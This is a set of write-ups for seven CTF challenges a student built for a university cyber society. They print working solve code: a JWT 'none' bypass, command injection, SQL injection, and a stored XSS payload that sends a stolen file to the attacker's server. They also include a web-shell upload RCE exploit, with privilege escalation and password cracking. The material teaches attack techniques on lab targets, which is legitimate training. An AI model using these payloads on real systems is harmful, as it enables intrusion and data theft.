Here are the write ups for the 7 challenges I made for the 2024 Intake CTF for Warwick Cyber Security Society.
Source code for all these challenges (except Ssytems) is available on my github here https://github.com/TomSteer1/CTF-Challenges
Table of Contents Link to heading
Just Walking Through - Web Link to heading
The title for this challenge was a hint to the solution.
JWTs are made up of 3 parts. The header, the payload and the signature. Inside the header we can specify an algorithm.
The solution for this challenge is to set the algorithm to none and set the user to admin. This could be achieved with the following script for example.
import jwt
import requests
import argparse
payload = {"user": "admin"}
parser = argparse.ArgumentParser()
parser.add_argument("--host", help="Server host")
args = parser.parse_args()
host = args.host or "http://localhost:500"
# Generate a token with none algorithm
token = jwt.encode(payload, key=None, algorithm=None)
# Send the token to the server
cookies = {"token": token}
req = requests.get(f"{host}/secrets", cookies=cookies)
print(req.text)
The Classics - Web Link to heading
This challenge was designed to use some classic web vulnerabilities.
When visiting the web page you are presented with the following.
Typical web enumeration involves looking at the robots.txt
file which can be used to outline what a search engine is allowed to index.
Requesting the robots file shows a backups endpoint
User-agent: *
Disallow: /backups
The backups endpoint is a directory listing containing a note for Dave.
The note for Dave contains the following:
Hey Dave,
Now this server is publically I have removed the backups from this folder.
I also gave you some new credentials for the app.
dave:SecurePassword_2024!
Remove this file once you have used these credentials
George
Using these credentials we can log into the application and are given an admin portal
The ping command is a classic example of command injection and by using this feature we can run our own commands.
By adding ;
followed by a command the server will execute both the ping command and our command.
By running ; ls
we can get the directory output of the current directory.
And then by running ; cat /flag.txt
we can get the flag
Society Bank - Web Link to heading
Society Bank was the hardest web challenge I made for IntakeCTF. The challenge was unfortunately unsolved but a couple people came very close to solving it.
We are given the full source code for the app and from the supervisord config we can see there are 4 apps running. (bank, admin, bot, nginx).
The presence of the bot app gives us a clue that the challenge involves some form of XSS.
To start this challenge we need to add societybank.intake
to our /etc/hosts
file.
Navigating to the web page we are presented with the following.
If we register an account we are asked to upload an ID photo. Once an account has been registered and we can log in and are presented with the following message.
From reading the source code we can see the bot is ran every minute to approve new accounts. (See bot/app.js)
Once our account has been approved we are presented with our account page where we can make a deposit or withdrawal where we are asked for an amount and a message.
To test this locally we can run the app and log into the admin panel at admin.societybank.intake
with the test credentials in the code and add a test XSS payload.
Viewing the source code tells us there is a route in the admin application called /uploads
app.get('/uploads', isAuthenticated, (req, res) => {
const username = req.query.username;
const sql = 'SELECT * FROM bank_users WHERE username = ?';
db.get(sql, [username], (err, row) => {
if (err) {
console.error(err.message);
return res.send('An error occurred');
}
if (!row) {
return res.send('Error user not found');
}
const filePath = row.id_file;
if (!filePath) {
return res.send('Error' + username + ' has not uploaded an ID');
}
const path = require('path');
const normalizedPath = path.normalize("/tmp/files/" + username + "/" + filePath);
console.log('Normalized path: ' + normalizedPath);
res.sendFile(normalizedPath);
});
});
This takes the parameter username and returns the file uploaded in their registration.
To exploit this we can register a user with the username ../../../../../
and a file name of flag.txt
. Once the account is approved we can create a XSS payload that makes a request to the uploads
endpoint and forwards the data to our own server. We can’t just pull the cookie out of the admin’s session as it is set to http only. This results in the following solve script.
#!/usr/bin/env python3
import requests
import time
import http.server
import base64
url = 'http://societybank.intake:32233'
username = "../../../../"
password = "password"
def make_account():
# Send a post request with username , password and file
data = {'username': username, 'password': password}
files = {'id_file': open('flag.txt', 'rb')}
r = requests.post(url + '/register', data=data, files=files)
print(r.status_code)
def login():
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
r = requests.post(url + '/login', data={'username': username, 'password': password}, headers=headers,allow_redirects=False)
if 'Account not approved' in r.text:
return
# Get session cookies
return r.cookies
def sendXSS(cookies):
# Send a post request with the xss payload
data = {'message': '<script src="http://10.8.0.2:8081/exploit.js"></script>', 'amount': 10}
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
r = requests.post(url + '/deposit', data=data, cookies=cookies, headers=headers)
print(r.status_code)
def handler(*args):
# Handle the request to serve the exploit.js file as well as the response
class MyHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
if self.path == '/exploit.js':
self.send_response(200)
self.send_header('Content-type', 'text/javascript')
self.end_headers()
with open('exploit.js', 'rb') as f:
self.wfile.write(f.read())
else:
# Get the flag from the path
path = self.path.split('/')[1]
print(path)
# Base 64 decode the flag
flag = base64.b64decode(path).decode()
if 'Intake' in flag:
print("Flag: ", flag)
exit(0)
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(b'ty for the flag')
return MyHandler(*args)
def start_server():
# Start a local server to serve the exploit.js file
with http.server.HTTPServer(('', 8081), handler) as httpd:
print("serving at port", 8081)
httpd.serve_forever()
# Start server as a separate thread
import threading
t = threading.Thread(target=start_server)
t.start()
cookies = login()
if cookies:
# Start a local server to serve the exploit.js file
print('Sending XSS')
sendXSS(cookies)
else:
print('Making account')
make_account()
# Wait for the bot to approve the account
time.sleep(80)
cookies = login()
if cookies:
# Start a local server to serve the exploit.js file
print('Sending XSS')
sendXSS(cookies)
else:
print('Account not approved yet')
We also need to create the exploit.js
file in the same directory
document.addEventListener('DOMContentLoaded', function() {
fetch('http://localhost:3000/uploads?username=../../../../', {mode: 'no-cors'}).then(response => response.text()).then(data => {
// Base64 encode the response
b64data = btoa(data);
fetch('http://10.8.0.2:8081/' + b64data, {mode: 'no-cors'});
})
});
Running the solve script will create a user with the vulnerable id file and then creates the XSS script and starts a listening server.
% python solve.py
serving at port 8081
Making account
200
Sending XSS
200
172.22.22.22 - - [10/Oct/2024 12:11:40] "GET /exploit.js HTTP/1.1" 200 -
SW50YWtlMjR7RjFsM19JbmNsdTVzaW9uXzFzX2wwdjN9
Flag: Intake24{####}
Cubes - Misc Link to heading
Cubes is a challenge where you get given a Minecraft save file containing a room with the floor made of shulkers.
Inside every shulker was a bunch of random items surrounding a book containing seemingly random text.
Every pink shulker box contained a book with a golden item name on the last page with a unique generation.
Every minecraft item as a numerical ID so the intended solution for this challenge was to
- Pull every gold item name from the books
- Convert the item names to item IDs
- Convert the numeric values to ASCII characters
- Order the ASCII characters by the generation of the book The solve script I made to do this is as follows
import anvil
import nbt
from items import *
import json
import base64
copiedRegion = anvil.EmptyRegion(0, 0)
region = anvil.Region.from_file('r.0.0.mca')
tags = [[None for x in range(256)] for y in range(256)]
solution = ["" for x in range(100)]
for cX in range(16):
for cY in range(16):
chunk = region.get_chunk(cX, cY)
te = chunk.tile_entities
for tag in te:
if 'minecraft:shulker_box' in tag['id']:
x = tag['x'].value
z = tag['z'].value
tags[x][z] = tag
for x in range(16):
for z in range(16):
blockX = cX*16 + x
blockZ = cY*16 + z
block = chunk.get_block(x, 2, z)
if block.id == 'pink_shulker_box':
shulkerItems = tags[blockX][blockZ]['Items']
for item in shulkerItems:
if item['Slot'].value == 13:
itemTags = item['tag']
gen = itemTags['generation'].value
pages = itemTags['pages']
for page in pages:
# Parse json from page
pageText = json.loads(page.value)
if pageText['color'] == 'gold':
solution[gen] = pageText['text']
break
flag = ""
for s in solution:
if s != "":
for i in allGameItems:
if i.displayName == s:
flag += chr(i.id)
break
print(flag)
print(base64.b64decode(flag).decode())
I will admit this one was a very random challenge and is probably why no one ended up solving it.
Farmer - Full Pwn Link to heading
For this challenge I wanted to make a boot2root machine. https://tryhackme.com/r/room/intakectffarmer-jNWQwgU1 To begin this machine we first nmap the target IP.
┌──(kali㉿kali)-[~]
└─$ nmap 10.10.242.120
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-10 03:00 BST
Nmap scan report for 10.10.242.120
Host is up (0.095s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 2.41 seconds
Foothold Link to heading
We find that there is a SSH service and web service running.
Accessing the web service we are given this page.
In the source view of the app we are given a link to the source code for the app suggesting the app is called poultry-farm-management-system
and by googling for vulnerabilities in the app we find CVE-2024-40110 giving us RCE in the app.
Using the script from https://www.exploit-db.com/exploits/52053 we can obtain RCE on the box with minor modifications to the script
# Exploit Title: Poultry Farm Management System v1.0 - Remote Code Execution (RCE)
# Date: 24-06-2024
# CVE: N/A (Awaiting ID to be assigned)
# Exploit Author: Jerry Thomas (w3bn00b3r)
# Vendor Homepage: https://www.sourcecodester.com/php/15230/poultry-farm-management-system-free-download.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/Redcock-Farm.zip
# Github - https://github.com/w3bn00b3r/Unauthenticated-Remote-Code-Execution-RCE---Poultry-Farm-Management-System-v1.0/
# Category: Web Application
# Version: 1.0
# Tested on: Windows 10 | Xampp v3.3.0
# Vulnerable endpoint: http://localhost/farm/product.php
import requests
from colorama import Fore, Style, init
import sys
# Initialize colorama
init(autoreset=True)
def upload_backdoor(target):
upload_url = f"{target}/product.php"
shell_url = f"{target}/assets/img/productimages/web-backdoor.php"
# Prepare the payload
payload = {
'category': 'CHICKEN',
'product': 'rce',
'price': '100',
'save': ''
}
# PHP code to be uploaded
command = sys.argv[2]
data = f"<?php system('{command}');?>"
# Prepare the file data
files = {
'productimage': ('web-backdoor.php', data, 'application/x-php')
}
try:
print("Sending POST request to:", upload_url)
response = requests.post(upload_url, files=files, data=payload,verify=False)
if response.status_code == 200:
print("\nResponse status code:", response.status_code)
print(f"Shell has been uploaded successfully: {shell_url}")
# Make a GET request to the shell URL to execute the command
shell_response = requests.get(shell_url, verify=False)
print("Command output:", Fore.GREEN +shell_response.text.strip())
else:
print(f"Failed to upload shell. Status code:{response.status_code}")
print("Response content:", response.text)
except requests.RequestException as e:
print(f"An error occurred: {e}")
if __name__ == "__main__":
print("Sending " + sys.argv[2] + " to " + sys.argv[1])
target = sys.argv[1] # Change this to your target
upload_backdoor(target)
User Link to heading
From here we can dump /etc/psaswd
as well as search around the file system for privilege escalation methods.
┌──(kali㉿kali)-[~/Downloads]
└─$ python 52053.py http://10.10.242.120 "cat /etc/passwd"
Sending cat /etc/passwd to http://10.10.242.120
Sending POST request to: http://10.10.242.120/product.php
Response status code: 200
Shell has been uploaded successfully: http://10.10.242.120/assets/img/productimages/web-backdoor.php
Command output: root:x:0:0:root:/root:/bin/bash
[SNIP]
intern:x:1000:1000:intern:/home/intern:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
┌──(kali㉿kali)-[~/Downloads]
└─$ python 52053.py http://10.10.242.120 "cat ../../../includes/dbconnection.php "
Sending cat ../../../includes/dbconnection.php to http://10.10.242.120
Sending POST request to: http://10.10.242.120/product.php
Response status code: 200
Shell has been uploaded successfully: http://10.10.242.120/assets/img/productimages/web-backdoor.php
Command output: <?php
// DB credentials.
define('DB_HOST','localhost');
define('DB_USER','farm');
define('DB_PASS','KxtYThkWpF6yEnL7pAUv');
define('DB_NAME','farm');
// Establish database connection.
try
{
$dbh = new PDO("mysql:host=".DB_HOST.";dbname=".DB_NAME,DB_USER, DB_PASS,array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'"));
}
catch (PDOException $e)
{
exit("Error: " . $e->getMessage());
}
$con=mysqli_connect("localhost", DB_USER, DB_PASS, "farm");
if(mysqli_connect_errno()){
echo "Connection Fail".mysqli_connect_error();
}
?>
This tells us there is a user called intern and also gives us the database credentials. Just to see if there is credential reuse we try to log in as intern with the database password. We successfully have logged in as the user and can get the user flag
┌──(kali㉿kali)-[~/Downloads]
└─$ ssh intern@10.10.242.120
The authenticity of host '10.10.242.120 (10.10.242.120)' can't be established.
ED25519 key fingerprint is SHA256:mZLWsJNs2WzwAKGpgGRQDhyNFjbW+Tc/6lO6ecgTr18.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:39: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.242.120' (ED25519) to the list of known hosts.
intern@10.10.242.120's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-144-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information disabled due to load higher than 1.0
* Introducing Expanded Security Maintenance for Applications.
Receive updates to over 25,000 software packages with your
Ubuntu Pro subscription. Free for personal use.
https://ubuntu.com/pro
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Wed Aug 21 19:20:29 2024 from 172.16.47.1
intern@mainframe:~$ cat user.txt
Intake24{########}
intern@mainframe:~$
Root Link to heading
Checking our user groups with the id
command reveals we are part of the video group
intern@mainframe:~$ id
uid=1000(intern) gid=1000(intern) groups=1000(intern),44(video)
There is a video group page on hacktricks https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#video-group and we are going to follow the steps to extract the tty
intern@mainframe:~$ w
02:19:45 up 23 min, 2 users, load average: 1.27, 1.80, 1.62
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 01:57 23:40 0.61s 0.46s -bash
intern pts/0 10.21.33.235 02:17 0.00s 0.48s 0.07s w
intern@mainframe:~$ cat /dev/fb0 > /tmp/screen.raw
intern@mainframe:~$ cat /sys/class/graphics/fb0/virtual_size
1024,768
Loading the raw screen file into GIMP gives us the following screenshot.
We can then use su
logged in as the intern to gain access to root with the password and obtain the flag.
intern@mainframe:~$ su root
Password:
root@mainframe:/home/intern# cat /root/root.txt
Intake24{########}
Robots - Misc Link to heading
For this challenge we are given an APK file
There are 2 methods to solve this challenge.
Decompilation Link to heading
Using a tool such as jadx orBytecode Viewer we can view a decompiled version of the application.
In this source code we can see the login function and notice it adds a user agent.
We can replicate this web request using curl.
curl http://<url>/login -H "User-Agent: robots/1.0" -d "username=test&password=test"
Using incorrect credentials we are given a 401
< HTTP/2 401
< server: nginx/1.27.1
< date: Thu, 10 Oct 2024 10:13:29 GMT
< content-type: text/html; charset=utf-8
< content-length: 0
< etag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
< x-powered-by: Express
<
* Connection #0 to host 6de3872o-robots-web.chall.warwickcybersoc.com left intact
We can attempt SQL injection on the login fields using a payload such as username=a' or 1=1;-- &password=test
In this case we are given a token
* upload completely sent off: 36 bytes
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/2 200
< server: nginx/1.27.1
< date: Thu, 10 Oct 2024 10:15:02 GMT
< content-type: text/html; charset=utf-8
< content-length: 32
< etag: W/"20-gJc3l3EEHnQPDNgeHISGeZVlnHk"
< x-powered-by: Express
<
* Connection #0 to host 6de3872o-robots-web.chall.warwickcybersoc.com left intact
edbbbcbec8288259865c47e9d531a3e9%
In the MainActivity we have a function that makes a request to /decryptFlag
This uses an encrypted flag that is extracted from a function in an external C library. We can retrieve this from the library using apktool
to decompile the application and then run strings on the library to extract the string.
┌──(kali㉿kali)-[~/Robots]
└─$ apktool d robots.apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.7.0-dirty on robots.apk
I: Loading resource table...
<SNIP>
I: Copying original files...
I: Copying META-INF/services directory
<snip>
┌──(kali㉿kali)-[~/Robots/robots/lib/x86_64]
└─$ strings librobots.so
Android
r26b
<SNIP>
04af76e1fbb964d6bcf18c3fead9b5ace3d1cc04f2b193ebdb27ecc91040be4b4a5f1ab327083a4dfb9f7f4809da9e3d
<SNIP>
.rodata
Using the encrypted flag and our token we can retrieve the flag
% curl https://6de3872o-robots-web.chall.warwickcybersoc.com/decryptFlag -H "User-Agent: robots/1.0" -H "Authorization: Bearer edbbbcbec8288259865c47e9d531a3e9" -d "encryptedFlag=04af76e1fbb964d6bcf18c3fead9b5ace3d1cc04f2b193ebdb27ecc91040be4b4a5f1ab327083a4dfb9f7f4809da9e3d"
Intake24{#######}%
Interception Link to heading
The easier route to complete this challenge would be to run the app itself. This could be done on a physical device or using an emulator in a program such as Android Studio
.
From here we can perform the SQL injection directly into the login fields
And then we can press decrypt and retrieve the flag
Security - Forensics Link to heading
For this challenge we are given a img file of a drive and a picture of a pinboard
Running df
on the img file tells us it is a cryptlvm partition
We notice there are lots of different coloured pins so can create a script to generate possible passphrases
#!/usr/bin/env python3
red = ['Canada', 'Brooklyn', 'Lisbon']
blue = ['Tuscany', 'Utah', 'Seoul']
green = ['Istanbul', 'Berlin', 'Poland']
yellow = ['Amsterdam', 'Madrid', 'Pandora']
def passwords(colour):
# Print all combinations of the 3 words in the list
for i in range(len(colour)):
for j in range(len(colour)):
for k in range(len(colour)):
if i != j and j != k and i != k:
print(colour[i], colour[j], colour[k])
passwords(red)
passwords(blue)
passwords(green)
passwords(yellow)
To mount the image file we first need to create a loop device with sudo losetup /dev/loop0 drive.img
and then mount the volume with cryptsetup
.
We can script trying all the passwords with the following script:
#!/usr/bin/env bash
while read -r line; do
echo "Trying password: $line"
echo "$line" | sudo cryptsetup luksOpen /dev/loop0p3 mount
if [ $? -eq 0 ]; then
echo "Password found: $line"
break
fi
done < possiblePasswords.txt
Running the python script and test script finds the password and decrypts the volume
┌──(kali㉿kali)-[~]
└─$ python createPasswords.py > possiblePasswords.txt
┌──(kali㉿kali)-[~]
└─$ sh try.sh
Trying password: Canada Brooklyn Lisbon
No key available with this passphrase.
<SNIP>
Trying password: Istanbul Berlin Poland
No key available with this passphrase.
Trying password: Istanbul Poland Berlin
Password found: Istanbul Poland Berlin
We can then mount the volume
┌──(kali㉿kali)-[~/mount]
└─$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
loop0 7:0 0 10G 0 loop
├─loop0p1 259:0 0 1M 0 part
├─loop0p2 259:1 0 1.8G 0 part
└─loop0p3 259:2 0 8.2G 0 part
└─mount 253:0 0 8.2G 0 crypt
└─ubuntu--vg-ubuntu--lv 253:1 0 8.2G 0 lvm
vda 254:0 0 80.1G 0 disk
└─vda1 254:1 0 80.1G 0 part /
┌──(kali㉿kali)-[~]
└─$ sudo mount /dev/ubuntu-vg/ubuntu-lv mount
After searching around the file system we find a file /home/tom/.keepass/Database.kbdx
┌──(kali㉿kali)-[~/mount/home/tom/.keepass]
└─$ file Database.kdbx
Database.kdbx: Keepass password database 2.x KDBX
We can then use keepass2john to crack the encyption password
┌──(kali㉿kali)-[~/mount/home/tom/.keepass]
└─$ keepass2john Database.kdbx > hash
┌──(kali㉿kali)-[~/mount/home/tom/.keepass]
└─$ john -w=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
hellokitty (Database)
1g 0:00:00:00 DONE (2024-10-10 12:52) 1.052g/s 235.7p/s 235.7c/s 235.7C/s pamela..horses
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Loading the keepass file we can retrieve the google password and gives us the flag.